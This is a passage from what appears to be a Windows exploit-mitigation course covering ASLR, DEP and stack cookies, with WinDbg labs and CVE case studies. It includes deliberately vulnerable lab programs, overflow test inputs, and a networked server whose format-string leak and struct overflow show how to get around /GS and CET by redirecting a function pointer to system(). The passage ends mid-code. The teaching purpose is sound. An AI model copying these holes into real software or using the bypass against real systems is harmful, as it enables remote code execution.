PreferredBase: From PE header (usually 0x140000000 for x64)\n- RandomValue: Derived from entropy sources\n- AllocationGranularity: 64KB (0x10000)\n```\n\n**ASLR Entropy Breakdown by Component**:\n\n```text\nWindows 11 x64 ASLR Entropy:\n┌─────────────────────────────────────────────────────────────────┐\n│ Component          │ Bits │ Possible Values │ Notes             │\n├────────────────────┼──────┼─────────────────┼───────────────────┤\n│ Executable (EXE)   │  17  │     131,072     │ \u002FHIGHENTROPYVA    │\n│ DLLs               │  19  │     524,288     │ Per-DLL random    │\n│ Stack              │  17  │     131,072     │ Per-thread        │\n│ Heap               │   5  │          32     │ Per-allocation    │\n│ PEB\u002FTEB            │   8  │         256     │ Process\u002Fthread    │\n│ Kernel (KASLR)     │  24  │  16,777,216     │ At boot only      │\n└─────────────────────────────────────────────────────────────────┘\n\nx86 (32-bit) - Much less entropy:\n┌─────────────────────────────────────────────────────────────────┐\n│ Component          │ Bits │ Possible Values │ Notes             │\n├────────────────────┼──────┼─────────────────┼───────────────────┤\n│ Executable (EXE)   │   8  │         256     │ Limited by VA     │\n│ DLLs               │   8  │         256     │ Brute-forceable   │\n│ Stack              │  14  │      16,384     │ Better than EXE   │\n│ Heap               │   5  │          32     │ Same as x64       │\n└─────────────────────────────────────────────────────────────────┘\n```\n\n**High Entropy ASLR (\u002FHIGHENTROPYVA)**:\n\n```bash\n# Check if binary uses high entropy ASLR\ncd c:\\Windows_Mitigations_Lab>\ndumpbin \u002Fheaders bin\\aslr_test.exe|findstr \"High Entropy\"\n# shows High Entropy Virtual Addresses\n```\n\n**WinDbg Lab: Observing ASLR Randomization**:\n\n```bash\n# IMPORTANT: ASLR Behavior is More Nuanced Than \"Reboot-Only\"\n#\n# ASLR uses a per-boot random seed for base address calculation.\n# However, some module bases may appear stable within a boot session due to:\n# - Shared DLL mappings across processes (performance optimization)\n# - Kernel address space layout caching\n# - ForceRelocateImages policy (can change this behavior)\n#\n# DO NOT rely on any predictable behavior for exploitation!\n# Always measure empirically in your specific environment.\n\n# Method 1: Compare module bases across reboots\n# ---------------------------------------------\nwindbg notepad.exe\nlm m ntdll\n# Note ntdll base address (e.g., 0x7ffb12340000)\n\n# Reboot VM and repeat\n# ntdll base should be different (new per-boot seed)\n\n# Method 2: Compare across process launches (within same boot)\n# ------------------------------------------------------------\n# NOTE: Behavior varies based on:\n# - ForceRelocateImages policy (if enabled, more randomization)\n# - Whether DLL is already mapped by another process\n# - System configuration and Windows version\n\nwindbg notepad.exe\nlm m notepad\n# Note base\n\n.restart\nlm m notepad\n# Base may or may not change - this is environment-dependent!\n\n# Method 3: Force per-launch randomization (recommended for security)\n# -------------------------------------------------------------------\nSet-ProcessMitigation -Name notepad.exe -Enable ForceRelocateImages\n# Now each launch should get a different EXE base\n\n# To verify:\nfor \u002FL %i in (1,1,5) do @powershell -c \"(Get-Process notepad -ErrorAction SilentlyContinue).MainModule.BaseAddress\"\n```\n\n**ASLR Weaknesses (Understanding Limitations)**:\n\n```text\nASLR Limitation 1: Shared DLL Base Addresses\n--------------------------------------------\nWithin a boot session, all processes share same DLL bases.\nIf attacker leaks ntdll.dll base from ANY process,\nthey know it for ALL processes until reboot.\n\nASLR Limitation 2: Information Leaks\n------------------------------------\nAny pointer disclosure defeats ASLR for that module:\n- printf() with %p on user data\n- Stack traces in error messages\n- Uninitialized memory disclosure\n- Side-channel attacks (cache timing)\n\nASLR Limitation 3: Partial Overwrites\n-------------------------------------\nIf overflow only corrupts low bytes of pointer:\n- High bytes stay randomized\n- Low bytes can redirect within same page\n- Example: Change function to different offset\n\nASLR Limitation 4: Low Entropy (32-bit)\n---------------------------------------\n8 bits = 256 possibilities\nAt 1000 attempts\u002Fsecond = ~4 minutes average\nRemote attacks with reconnection can brute-force\n```\n\n**Testing ASLR with the Unified Suite**:\n\n> [!NOTE]\n> To observe ASLR in action, we'll use WinDbg to examine module base addresses. The `vulnerable_suite_win_mitigated.c` binary itself doesn't print addresses, but WinDbg's `lm` command shows where modules are loaded.\n\n**Compile WITH ASLR** (recommended):\n\n```bash\n# x64 Native Tools Command Prompt\ncd C:\\Windows_Mitigations_Lab\n\n# Build WITH ASLR (DYNAMICBASE) and High Entropy\ncl \u002FGS- \u002FD_CRT_SECURE_NO_WARNINGS src\\vulnerable_suite_win_mitigated.c \u002FFe:bin\\aslr_test.exe \u002Flink \u002FNXCOMPAT \u002FDYNAMICBASE \u002FHIGHENTROPYVA\n\n# Verify ASLR is enabled:\ndumpbin \u002Fheaders bin\\aslr_test.exe | findstr \"Dynamic base\"\n# Should show: \"Dynamic base\"\n\ndumpbin \u002Fheaders bin\\aslr_test.exe | findstr \"High Entropy\"\n# Should show: \"High Entropy Virtual Addresses\"\n```\n\n**Compile WITHOUT ASLR** (for comparison):\n\n```bash\n# Build WITHOUT ASLR (DYNAMICBASE:NO \u002FFIXED)\ncl \u002FGS- \u002FD_CRT_SECURE_NO_WARNINGS src\\vulnerable_suite_win_mitigated.c \u002FFe:bin\\no_aslr_test.exe \u002Flink \u002FNXCOMPAT \u002FDYNAMICBASE:NO \u002FFIXED\n\n# Verify ASLR is disabled:\ndumpbin \u002Fheaders bin\\no_aslr_test.exe | findstr \"Dynamic base\"\n# Should NOT show \"Dynamic base\"\n```\n\n**Observe ASLR with WinDbg**:\n\n```bash\n# Launch the ASLR-enabled binary in WinDbg\nwindbg bin\\aslr_test.exe stack\n\n# In WinDbg, list loaded modules:\n0:000> lm\n# Note the base addresses for aslr_test and ntdll\n\n# Close WinDbg and launch again:\nwindbg bin\\aslr_test.exe stack\n0:000> lm\n# Within the same boot session, bases MAY be the same (Windows optimization)\n\n# REBOOT the VM, then launch again:\nwindbg bin\\aslr_test.exe stack\n0:000> lm\n# Now addresses should be different!\n\n# Compare with NO-ASLR binary:\nwindbg bin\\no_aslr_test.exe stack\n0:000> lm\n# Executable base is ALWAYS 0x140000000 (predictable!)\n```\n\n### Checking Mitigation Status\n\n**Using Process Explorer**:\n\n1. Download Process Explorer from Sysinternals\n2. Run as Administrator\n3. View -> Select Columns -> Process Image tab\n4. Enable: ASLR Enabled, DEP Status\n5. View running processes with protection status\n\n**Using dumpbin**:\n\n```bash\n# Check PE headers\ndumpbin \u002Fheaders .\\bin\\aslr_test.exe | findstr \"Dynamic base\"\n# \"Dynamic base\" present = ASLR enabled\n\ndumpbin \u002Fheaders .\\bin\\dep_test.exe | findstr \"NX compatible\"\n# \"NX compatible\" present = DEP enabled\n```\n\n**Programmatic Detection**:\n\n```c\n\u002F\u002F c:\\Windows_Mitigations_Lab\\src\\mitigation.c\n\u002F\u002F compile with cl src\\detection.c \u002FFe:bin\\detection.exe \u002Flink\n#include \u003Cwindows.h>\n#include \u003Cstdio.h>\n\nvoid check_dep() {\n    \u002F\u002F Check hardware NX support\n    if (IsProcessorFeaturePresent(PF_NX_ENABLED)) {\n        printf(\"[+] Hardware DEP supported\\n\");\n    }\n\n    \u002F\u002F Check if enabled for current process\n    DWORD flags;\n    BOOL permanent;\n    if (GetProcessDEPPolicy(GetCurrentProcess(), &flags, &permanent)) {\n        printf(\"[+] DEP enabled: %s\\n\", flags ? \"Yes\" : \"No\");\n        printf(\"[+] Permanent: %s\\n\", permanent ? \"Yes\" : \"No\");\n    }\n}\n\nvoid check_aslr() {\n    HMODULE hExe = GetModuleHandle(NULL);\n    printf(\"[*] Base address: %p\\n\", hExe);\n\n    \u002F\u002F Check if likely randomized\n    \u002F\u002F Non-randomized bases are often at 0x00400000 or similar\n    if ((ULONG_PTR)hExe \u003C 0x10000000) {\n        printf(\"[-] Likely NOT randomized (low address)\\n\");\n    } else {\n        printf(\"[+] Likely randomized (high address)\\n\");\n    }\n}\n\nint main() {\n    printf(\"=== Mitigation Check ===\\n\\n\");\n    check_dep();\n    printf(\"\\n\");\n    check_aslr();\n    return 0;\n}\n```\n\n### CVE Case Studies: What DEP and ASLR Prevent\n\nUnderstanding the historical attacks these mitigations stopped helps appreciate their value.\n\n#### CVE-2008-4250: MS08-067 Conficker Worm (What DEP Prevents)\n\n**The Attack (Pre-DEP era exploitation)**:\n\n```text\nVulnerability: Stack buffer overflow in Server Service (netapi32.dll)\nTarget: Windows XP\u002F2003 (many without DEP)\nImpact: Remote code execution via SMB\n\nExploit Flow (without DEP):\n1. Attacker sends malicious SMB request\n2. Stack buffer overflow in svchost.exe\n3. Return address overwritten -> points to stack\n4. Shellcode on stack executes\n5. Worm propagates to next target\n\nWhy DEP Would Block:\n- Stack marked non-executable\n- Return to stack shellcode fails\n- Attack limited to DoS without ROP\n```\n\n**Lesson**: DEP would have significantly hindered Conficker's propagation.\n\n#### CVE-2010-3962: IE Aurora Attack (What ASLR Prevents)\n\n**The Attack (Operation Aurora)**:\n\n```text\nVulnerability: Use-after-free in mshtml.dll (IE 6)\nTarget: IE 6 on Windows XP (no ASLR)\nImpact: Targeted attack against Google employees\n\nExploit Flow (without ASLR):\n1. Malicious webpage triggers UAF\n2. Heap spray at predictable address (0x0c0c0c0c)\n3. Shellcode at known location\n4. ROP gadgets at known DLL offsets\n5. Code execution achieved\n\nWhy ASLR Would Block:\n- Heap spray address unpredictable\n- DLL gadget addresses unknown\n- Attacker needs information leak first\n```\n\n**Lesson**: ASLR forces attackers to chain vulnerabilities (info leak + code exec).\n\n#### CVE-2021-40444: MSHTML RCE (Modern Attack - Mitigations Active)\n\n**How Modern Mitigations Affected the Exploit**:\n\n```text\nVulnerability: MSHTML URL protocol handler\nImpact: RCE via malicious Office document\nMitigations Present: DEP, ASLR, CFG\n\nAttacker's Challenge:\n1. Cannot use simple shellcode (DEP)\n2. Cannot hardcode addresses (ASLR)\n3. Indirect calls validated (CFG)\n\nActual Exploit:\n1. Used legitimate COM objects for initial execution\n2. Launched CAB file to extract payload\n3. DLL side-loading to bypass CFG\n4. Used existing signed code for malicious actions\n\nLesson: Mitigations forced complex, multi-stage attack\n```\n\n### Practical Exercise\n\n#### Task 1: Test DEP Protection\n\n1. **Create vulnerable program**:\n\n   ```c\n   \u002F\u002F Save as C:\\Windows_Mitigations_Lab\\src\\dep_vuln.c\n   \u002F\u002F Simple buffer overflow with shellcode\n   #include \u003Cstdio.h>\n   #include \u003Cstring.h>\n\n   char shellcode[] = \"\\xcc\\xc3\";  \u002F\u002F int3; ret\n\n   int main() {\n       char buffer[100];\n       fgets(buffer, 200, stdin);  \u002F\u002F Overflow\n       void (*f)() = (void(*)())shellcode;\n       f();  \u002F\u002F Execute\n       return 0;\n   }\n   ```\n\n2. **Compile without DEP**:\n\n   ```bash\n   cd C:\\Windows_Mitigations_Lab\n   cl \u002FGS- \u002FD_CRT_SECURE_NO_WARNINGS src\\dep_vuln.c \u002FFe:bin\\dep_vuln_disabled.exe \u002Flink \u002FNXCOMPAT:NO \u002FDYNAMICBASE:NO\n   ```\n\n3. **Test - should execute**:\n\n   ```bash\n   echo AAAAAAA... | bin\\dep_vuln_disabled.exe\n   # Works (or int3 breakpoint)\n   ```\n\n4. **Recompile with DEP**:\n\n   ```bash\n   cl \u002FGS- \u002FD_CRT_SECURE_NO_WARNINGS src\\dep_vuln.c \u002FFe:bin\\dep_vuln_enabled.exe \u002Flink \u002FNXCOMPAT \u002FDYNAMICBASE:NO\n   ```\n\n5. **Test - should crash**:\n   ```bash\n   echo AAAAAAA... | bin\\dep_vuln_enabled.exe\n   # Access violation! (DEP blocks shellcode execution)\n   ```\n\n#### Task 2: Observe ASLR\n\n1. **Compile check_aslr.c with ASLR**\n2. **Run 5 times, note addresses**\n3. **Reboot VM**\n4. **Run 5 more times**\n5. **Observe: addresses changed after reboot**\n\n#### Task 3: Mitigation Detection\n\n1. **Check Windows binaries**:\n\n   ```bash\n   dumpbin \u002Fheaders C:\\Windows\\System32\\notepad.exe | findstr \"Dynamic NX\"\n   ```\n\n2. **Check your compiled programs**\n3. **Document which protections are active**\n\n### Key Takeaways\n\n1. **DEP prevents code execution**: Shellcode on stack\u002Fheap blocked\n2. **ASLR randomizes addresses**: Hardcoded addresses don't work\n3. **Both are foundational**: Required for modern exploitation\n4. **Detection is straightforward**: Many tools available\n5. **Crash Dumps Never Lie**: The Exception Record (`.exr -1`) tells you exactly WHICH mitigation killed the exploit.\n6. **Hardware Matters**: The NX bit is a physical capability of the CPU; software just enables it.\n7. **Circumvention is possible**: But requires advanced techniques (Week 8)\n\n### Discussion Questions\n\n1. What determines whether ASLR randomizes per-boot vs per-launch? (Hint: ForceRelocateImages, shared mappings)\n2. What's the relationship between entropy and ASLR effectiveness?\n3. How does DEP affect return-to-libc attacks? (It doesn't directly - why?)\n4. Can ASLR and DEP be defeated individually, or must both be bypassed?\n5. Why does ASLR require \"PIE\" (Position Independent Executable) to work fully?\n6. If you have a buffer overflow on the stack, but DEP is on, why can't you just jump to your buffer?\n7. How does an \"Information Leak\" defeat ASLR?\n8. Why is `0xC0000005` with `Parameter[0]=8` the \"smoking gun\" for a DEP violation?\n\n## Day 2: Stack Protection Mechanisms\n\n- **Goal**: Understand stack cookies, SEHOP, and other stack-based protections.\n- **Activities**:\n  - _Reading_:\n    - [Stack Cookies in Visual C++](https:\u002F\u002Flearn.microsoft.com\u002Fen-us\u002Fcpp\u002Fbuild\u002Freference\u002Fgs-buffer-security-check)\n    - [SEHOP Overview](https:\u002F\u002Fmsrc.microsoft.com\u002Fblog\u002F2009\u002F02\u002Fpreventing-the-exploitation-of-structured-exception-handler-seh-overwrites-with-sehop\u002F)\n  - _Online Resources_:\n    - [Defeating Buffer Overflow Protection](https:\u002F\u002Fwww.blackhat.com\u002Fpresentations\u002Fbh-asia-03\u002Fbh-asia-03-litchfield.pdf)\n    - [SEH overwrite and its exploitability](https:\u002F\u002Fwww.ffri.jp\u002Fassets\u002Ffiles\u002Fresearch\u002Fresearch_papers\u002FSEH_Overwrite_CanSecWest2010.pdf)\n  - _Tool Setup_:\n    - Visual Studio with \u002FGS\n    - WinDbg for stack inspection\n  - _Exercise_:\n    - Trigger stack cookie check\n    - Test SEH overwrite protection\n    - Verify SEHOP prevents exploit\n\n### Stack Cookies (\u002FGS)\n\n**What are Stack Cookies?**:\n\n- Random value placed before return address\n- Checked before function returns\n- Detects stack buffer overflows\n- Terminates process if corrupted\n\n**How They Work**:\n\n```c\n\u002F\u002F Without \u002FGS\nvoid function(char *input) {\n    char buffer[64];\n    strcpy(buffer, input);\n}\n\n\u002F\u002F Stack layout:\n\u002F\u002F [buffer][saved EBP][return address]\n\u002F\u002F Overflow: overwrites return address directly\n\n\u002F\u002F With \u002FGS\nvoid function(char *input) {\n    char buffer[64];\n    __int64 cookie = __security_cookie;  \u002F\u002F Inserted by compiler\n    strcpy(buffer, input);\n    if (cookie != __security_cookie) {\n        __security_check_cookie(cookie);  \u002F\u002F Terminates!\n    }\n}\n\n\u002F\u002F Stack layout:\n\u002F\u002F [buffer][cookie][saved EBP][return address]\n\u002F\u002F Overflow: must overwrite cookie to reach return address\n```\n\n**Cookie Generation**:\n\n```c\n\u002F\u002F __security_cookie is initialized at process startup\n\u002F\u002F Based on:\n\u002F\u002F - Current time (GetSystemTimeAsFileTime)\n\u002F\u002F - Process ID\n\u002F\u002F - Thread ID\n\u002F\u002F - Performance counter\n\u002F\u002F - Stack address\n\n\u002F\u002F Result: 32-bit or 64-bit random value\n```\n\n**Cookie Check**:\n\n```asm\n; Function prologue (x86)\npush ebp\nmov ebp, esp\nsub esp, 0x44           ; Allocate locals\nmov eax, ___security_cookie\nxor eax, ebp            ; XOR with frame pointer\nmov [ebp-0x04], eax     ; Store on stack\n\n; Function body...\n\n; Function epilogue\nmov ecx, [ebp-0x04]     ; Load cookie\nxor ecx, ebp            ; XOR with frame pointer\ncall @__security_check_cookie@4  ; Check\nmov esp, ebp\npop ebp\nret\n```\n\n**Testing Stack Cookies**:\n\n```c\n\u002F\u002F src\\stack_overflow.c\n#include \u003Cstring.h>\n#include \u003Cstdio.h>\n\nvoid vulnerable(char *input) {\n    char buffer[64];\n\n    printf(\"[*] Entering vulnerable()\\n\");\n    printf(\"[*] Buffer at: %p\\n\", buffer);\n    printf(\"[*] Copying %zu bytes\\n\", strlen(input));\n    fflush(stdout);  \u002F\u002F Ensure output before potential crash\n\n    strcpy(buffer, input);\n\n    printf(\"[*] Copy complete\\n\");\n    printf(\"[*] Returning from vulnerable()...\\n\");\n    fflush(stdout);\n}\n\nint main(int argc, char **argv) {\n    printf(\"[+] Program started\\n\");\n    if (argc > 1) {\n        vulnerable(argv[1]);\n        printf(\"[+] Returned from vulnerable() successfully!\\n\");\n    }\n    printf(\"[+] Program ending normally\\n\");\n    return 0;\n}\n```\n\n**Compile Without \u002FGS**:\n\n```bash\n# Save the source code to the lab src directory\ncl \u002FGS- \u002FZi \u002FD_CRT_SECURE_NO_WARNINGS src\\stack_overflow.c \u002FFe:bin\\stack_overflow_no_gs.exe \u002Flink \u002FDEBUG \u002FNXCOMPAT:NO \u002FDYNAMICBASE:NO\n# Test overflow\npython -c \"import subprocess; subprocess.run(['bin\\\\stack_overflow_no_gs.exe', 'A'*500])\"\n# [*] Copying 500 bytes\n# \u003Ccrash during strcpy - corrupted critical memory>\n```\n\n**Compile With \u002FGS**:\n\n```bash\n# Compile with all mitigations (Day 1 standard setup)\ncl \u002FGS \u002FZi \u002FD_CRT_SECURE_NO_WARNINGS src\\stack_overflow.c \u002FFe:bin\\stack_overflow.exe \u002Flink \u002FDEBUG \u002FNXCOMPAT \u002FDYNAMICBASE\n\n# Test overflow\npython -c \"import subprocess; subprocess.run(['bin\\\\stack_overflow.exe', 'A'*500])\"\n# [*] Copying 500 bytes\n# [*] Copy complete\n# [*] Returning from vulnerable()...\n# \u003Csecurity cookie check failed - controlled termination>\n```\n\n**Viewing in WinDbg**:\n\n```bash\n# Launch with overflow argument (use 500 bytes to trigger detection\n# cmd: bin\\stack_overflow.exe\n# arg: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n```\n\n```bash\n# might need a `g` to start it based on your setup\n# Set breakpoint at vulnerable function\nbp stack_overflow!vulnerable\n# bp stack_overflow_no_gs!vulnerable for the other one\ng\n\n# check for __security_check_cookie near ret\nuf .\n```\n\n#### Deep Dive: WinDbg Stack Cookie Analysis\n\n**Lab: Complete Stack Cookie Investigation**:\n\n```bash\n# Step 1: Examine the global security cookie\n# Find the security cookie (might need to hit `g` first to initialize)\nx stack_overflow!__security_cookie\n# Example: 00007ff6`5056b140 stack_overflow!__security_cookie = 0x00004336`aa6df55d\n\n# Step 2: Set breakpoint at function entry and step past prologue\nbp stack_overflow!vulnerable\ng\n\n# PRO-TIP: By default, 't' steps one SOURCE LINE.\n# One 't' will likely execute the entire prologue.\n# Look at the disassembly ('u .') to ensure you are still in vulnerable()\n# but past the 'mov [rsp+60h], rax' instruction.\nt\n\n# If you want to step instruction-by-instruction regardless of source:\n# Use 't' after running: l- t\n# (l- t disables source mode stepping)\n\n# Step 3: Examine stack frame with cookie\n# Ensure you are still in vulnerable()! If you see 'printf', you stepped too far.\nr rsp\n# Example: rsp=000000b2e68ff8b0\ndq rsp+60 L1\n# Example: 000000b2`e68ff910  00004384`4ce20ded\n\n# Step 4: Understand the XOR operation\n# IMPORTANT: In WinDbg expressions, symbols evaluate to their ADDRESS.\n# Use poi() to get the VALUE stored at that address.\n? poi(stack_overflow!__security_cookie) ^ rsp\n# Example Evaluate expression: 00004384`4ce20ded\n\n# The result of this MUST match the value you saw with 'dq' on the stack.\n\n# Step 5: Watch the epilogue check\n# Set a breakpoint near the end of vulnerable()\nuf .\n# Example: bp stack_overflow!vulnerable+0xaf\ng\n\n# Triggering the failure:\n# (2924.7d4): Security check failure or stack buffer overrun - code c0000409\n# Subcode: 0x2 FAST_FAIL_STACK_COOKIE_CHECK_FAILURE\n# stack_overflow!__report_gsfailure+0x5:\n# 00007ff6`504d7945 cd29            int     29h\n```\n\n**Variable Reordering by \u002FGS**:\n\nThe compiler reorders local variables so that \"buffers\" (arrays) are placed at higher addresses, closer to the security cookie. This prevents an overflow from overwriting other local variables (like function pointers or class objects) before hitting the cookie.\n\n**Source Code**:\n\n```c\n\u002F\u002F src\\var_reorder.c\n#include \u003Cstdio.h>\n#include \u003Cstring.h>\n\n\u002F\u002F Force GS check even for small\u002Funused buffers\n#pragma strict_gs_check(on)\n\nvoid test_reordering() {\n    int count = 0x11111111;\n    char buffer[16];\n    void* ptr = (void*)0x4444444444444444;\n\n    \u002F\u002F Use the variables to prevent optimization\n    sprintf(buffer, \"Value: %d\", count);\n    printf(\"[*] Buffer: %s, Ptr: %p\\n\", buffer, ptr);\n}\n\nint main() {\n    test_reordering();\n    return 0;\n}\n```\n\n**Viewing Variable Reordering in WinDbg**:\n\n**Compile with \u002FGS and debug info**:\n\n```bash\n# Save the test code to C:\\Windows_Mitigations_Lab\\src\\var_reorder.c\ncl \u002FGS \u002FZi src\\var_reorder.c \u002FFe:bin\\var_reorder.exe \u002Flink \u002FNXCOMPAT \u002FDYNAMICBASE\n\nwindbg C:\\Windows_Mitigations_Lab\\bin\\var_reorder.exe\nbp var_reorder!test_reordering\ng\n\n# View local variable layout\ndv \u002FV\n# Expected Output:\n# @rsp+0x0030    buffer = char [16] \"...\"\n# @rsp+0x0028       ptr = 0x...\n# @rsp+0x0020     count = 0x...\n\n# Notice: buffer has the HIGHEST offset (+30) among data variables.\n\n# Or examine disassembly\nuf var_reorder!test_reordering\n\n# Proving Protection Layout:\n# 1. Cookie is stored at [rsp+40h]\n# 2. Buffer starts at  [rsp+30h]\n# 3. Buffer ends at    [rsp+30h] + 16 bytes = [rsp+40h] (Exactly hitting the cookie!)\n\n# If the compiler didn't reorder, buffer might be at [rsp+20h].\n# An overflow of 16 bytes would overwrite 'count' and 'ptr'\n# potentially giving control of execution BEFORE the cookie is even checked.\n```\n\n### Stack Cookie Bypass Techniques\n\nUnderstanding how to bypass stack cookies is essential for both offensive security research\nand building more robust defenses. Here we cover the primary bypass techniques.\n\n#### Technique 1: Information Leak (Cookie Disclosure)\n\nOn Windows 11 with Intel CET enabled, even if you successfully leak and reconstruct the stack cookie, overwriting the return address will still be caught by the hardware shadow stack.\nThe shadow stack maintains a separate, protected copy of return addresses that the attacker cannot modify.\nThis technique demonstrates the **cookie leak and data-only attack** approach:\n\n1. Use a format string bug to leak the XOR'd cookie from the stack\n2. Instead of hijacking the return address (blocked by CET), corrupt a **function pointer** or **critical variable** that is used BEFORE the function returns\n   This is the modern reality: cookie bypass alone is no longer sufficient for RIP control on CET-enabled systems. Data-only attacks are the way forward.\n\n**Vulnerable Server Code (Windows)**:\n\n```c\n\u002F\u002F vulnerable_server.c\n\u002F\u002F Demonstrates: format string leak + data-only attack via function pointer\n\u002F\u002F The server has TWO bugs:\n\u002F\u002F   1. Format string in Stage 1 (leak primitive)\n\u002F\u002F   2. Stack buffer overflow in Stage 2 (write primitive)\n\u002F\u002F\n\u002F\u002F KEY INSIGHT: \u002FGS reorders local variables so arrays sit closest to the\n\u002F\u002F cookie, making it impossible to overflow from a stack array into a separate\n\u002F\u002F local function pointer. To defeat this, we use a STRUCT: the C standard\n\u002F\u002F guarantees struct member layout order, and \u002FGS does NOT reorder members\n\u002F\u002F within a struct. By placing the buffer and handler in the same struct,\n\u002F\u002F overflowing req.data directly overwrites req.handler.\n\u002F\u002F\n\u002F\u002F This also sidesteps CET shadow stacks since no return address is used.\n\n#include \u003Cwinsock2.h>\n#include \u003Cstdio.h>\n#include \u003Cstring.h>\n#include \u003Cstdlib.h>\n\n#pragma comment(lib, \"ws2_32.lib\")\n\n#define PORT 9999\n#define DATA_SIZE 128\n\n\u002F\u002F Two handler functions - attacker wants to redirect to dangerous_handler\nvoid safe_handler(const char* msg) {\n    printf(\"[SAFE] Echoing: %s\\n\", msg);\n}\n\nvoid dangerous_handler(const char* msg) {\n    printf(\"[DANGER] Executing: %s\\n\", msg);\n    system(msg);  \u002F\u002F RCE if attacker controls msg!\n}\n\ntypedef void (*handler_t)(const char*);\n\n\u002F\u002F \u002FGS does NOT reorder struct members - C standard guarantees layout order.\n\u002F\u002F Overflowing 'data' (128 bytes) directly overwrites 'handler' at offset 128.\nstruct request {\n    char data[DATA_SIZE];   \u002F\u002F offset 0   - overflow source\n    handler_t handler;      \u002F\u002F offset 128 - overflow target\n    int status;             \u002F\u002F offset 136\n};\n\nvoid handle_client(SOCKET client_sock) {\n    \u002F\u002F Stage 1 uses a separate buffer for the format string leak.\n    \u002F\u002F Stage 2 uses a struct to bypass \u002FGS variable reordering.\n    \u002F\u002F\n    \u002F\u002F Why a struct? \u002FGS reorders LOCAL variables so arrays are placed at\n    \u002F\u002F the highest stack addresses (closest to the cookie). This means a\n    \u002F\u002F plain \"char buffer[128]\" local will be ABOVE a \"handler_t handler\"\n    \u002F\u002F local - overflow goes UP toward the cookie, AWAY from handler.\n    \u002F\u002F\n    \u002F\u002F But \u002FGS cannot reorder struct members (C standard §6.7.2.1 guarantees\n    \u002F\u002F order). In struct request, 'data' is at offset 0 and 'handler' is at\n    \u002F\u002F offset 128. Overflow of data[128] goes directly into handler.\n    \u002F\u002F\n    \u002F\u002F Stack layout (high to low):\n    \u002F\u002F   [return address]           \u003C- protected by CET shadow stack\n    \u002F\u002F   [saved RBP]\n    \u002F\u002F   [GS cookie (XOR'd)]       \u003C- \u002FGS protection\n    \u002F\u002F   [leak_buf - 128 bytes]    \u003C- \u002FGS pushes arrays up\n    \u002F\u002F   [req.status]              \u003C- struct is one unit, below arrays\n    \u002F\u002F   [req.handler]             \u003C- TARGET at req + 128\n    \u002F\u002F   [req.data - 128 bytes]    \u003C- overflow source at req + 0\n    \u002F\u002F   [response - 2048 bytes]   \u003C- format string output\n    \u002F\u002F   [bytes_recv, etc.]        \u003C- other scalars\n\n    char leak_buf[128];         \u002F\u002F Separate buffer for Stage 1 format string\n    char response[2048];        \u002F\u002F Large enough for format string expansion\n    int bytes_recv;\n    struct request req;         \u002F\u002F Struct layout is NOT reordered by \u002FGS\n\n    req.handler = safe_handler;\n    req.status = 0;\n    memset(req.data, 0, DATA_SIZE);\n\n    \u002F\u002F ---- Stage 1: Format String Leak ----\n    \u002F\u002F Bug: snprintf(response, ..., leak_buf) uses attacker-controlled format\n    \u002F\u002F We use snprintf with a safe output size to avoid crashing here.\n    \u002F\u002F The VULNERABILITY is that the format string itself is attacker-controlled,\n    \u002F\u002F which leaks stack values via %p specifiers.\n    bytes_recv = recv(client_sock, leak_buf, sizeof(leak_buf) - 1, 0);\n    if (bytes_recv \u003C= 0) return;\n    leak_buf[bytes_recv] = '\\0';\n\n    printf(\"[*] Stage 1: Processing format string (leak)...\\n\");\n    printf(\"[*] req.data    @ %p\\n\", req.data);\n    printf(\"[*] req.handler @ %p -> %p\\n\", &req.handler, (void*)req.handler);\n    printf(\"[*] offsetof(handler) = %zu bytes from req.data\\n\",\n           (char*)&req.handler - req.data);\n    fflush(stdout);\n\n    \u002F\u002F VULNERABILITY 1: Format string bug - leaks stack values\n    \u002F\u002F snprintf prevents output buffer overflow, but attacker controls the format\n    _snprintf(response, sizeof(response) - 1, leak_buf);\n    response[sizeof(response) - 1] = '\\0';\n    send(client_sock, response, (int)strlen(response), 0);\n\n    \u002F\u002F ---- Stage 2: Overflow -> Function Pointer Corruption ----\n    \u002F\u002F Bug: recv reads up to 1024 bytes into req.data which is only 128 bytes.\n    \u002F\u002F Bytes 128+ overwrite req.handler (the function pointer).\n    printf(\"[*] Stage 2: Waiting for overflow payload...\\n\");\n    fflush(stdout);\n    bytes_recv = recv(client_sock, req.data, 1024, 0);\n    if (bytes_recv \u003C= 0) return;\n\n    printf(\"[*] Received %d bytes (buffer is %d)\\n\", bytes_recv, DATA_SIZE);\n    printf(\"[*] req.handler now points to: %p\\n\", (void*)req.handler);\n    fflush(stdout);\n\n    \u002F\u002F The handler is called BEFORE function return (before cookie check!)\n    \u002F\u002F If overflow corrupted it, this calls the attacker's target.\n    printf(\"[*] Calling handler...\\n\");\n    fflush(stdout);\n    req.handler(req.data);  \u002F\u002F \u003C-- Data-only attack: struct member, not return addr\n    \u002F\u002F CET doesn't protect this because it's an indirect CALL, not a RET.\n    \u002F\u002F (CFG would catch this - but we compiled without \u002Fguard:cf for this demo)\n\n    printf(\"[*] Handler returned, function epilogue next...\\n\");\n    fflush(stdout);\n    \u002F\u002F Cookie check happens HERE at function return.\n    \u002F\u002F If we overflowed past the cookie, process dies NOW - but handler already ran!\n}\n\nint main() {\n    WSADATA wsa;\n    SOCKET server_sock, client_sock;\n    struct sockaddr_in server_addr, client_addr;\n    int client_len = sizeof(client_addr);\n\n    WSAStartup(MAKEWORD(2, 2), &wsa);\n\n    server_sock = socket(AF_INET, SOCK_STREAM, 0);\n    server_addr.sin_family = AF_INET;\n    server_addr.sin_addr.s_addr = INADDR_ANY;\n    server_addr.sin_port = htons(PORT);\n\n    bind(server_sock, (struct 